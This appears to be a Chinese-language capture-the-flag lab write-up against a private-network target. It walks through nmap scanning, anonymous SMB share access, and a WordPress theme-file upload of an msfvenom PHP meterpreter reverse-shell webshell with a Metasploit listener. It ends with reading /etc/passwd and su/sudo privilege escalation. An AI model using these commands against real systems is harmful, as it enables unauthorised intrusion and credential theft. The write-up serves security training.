一、SMB介绍
SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。
SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445
SMB协议,计算机可以访问网络资源,下载对应的资源文件
二、实验环境
攻击机:kali linux 192.168.43.153
靶场机器:192.168.43.137
目的:获取靶场机器的flag值
三、实验过程
1、信息探测:
- nmap -sV IP 挖掘开放服务信息
- nmap -A -v -T4 IP 挖掘靶场全部信息
2、 针对SMB协议弱点分析
1.针对SMB协义,使用空口令,若口令尝试登陆,并查看敏感卡载查看;
smbclient -L IP
smbclient \‘IP\share$’
尝试登陆上面的sharename结果share可以用空密码进去,并且存在敏感文件get 敏感文件
进一步嗅探
果然有发现
尝试登陆数据库
登陆失败!!!
2.针对SMB协议远程溢出漏洞进行分析;
- searchsploit samba 版本号
3、针对HTTP协议弱点分析
1.浏览器查看网站;
2.使用dirb nikto探测;
3.寻找突破点,目标登录后台,上传webshell;
- 制作webshell
msfvenom -p php/meterpreter/reverse_tcp -lhost=攻击机ip地址 Iport=4444 -f raw>/root/Desktop/shell.php
- 启动监听
msf>use exploit/multi/handler
msf exploift(handler)>set payload php/meterpreter/reverse_tcp
msf exploift(handler)>set lhost 攻击机IP地址
msf exploit(handler)>set lport 4444
msf exploit(handler)>run
- 上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。执行
webshell(访问具有webshell的php页面)
wordpress 上传点theme 404.php
执行:http:/靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
获得反弹的shell
4、查找flag信息
优化终端:
python -c"import pty;pty.spawn('/bin/bash')"
查找敏感信息,提升root权限,查看flag值。
查找用户名:cat/etc/passwd查找密码:在共享目录下的敏感文件,提升权限
–su用户名
–sudo -l
–su sudo
很幸运的使用弱密码登陆了进来了
四、总结
对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件。
一般情况下lag值都在/root目录下,并且需要提升root权限才能查看内容;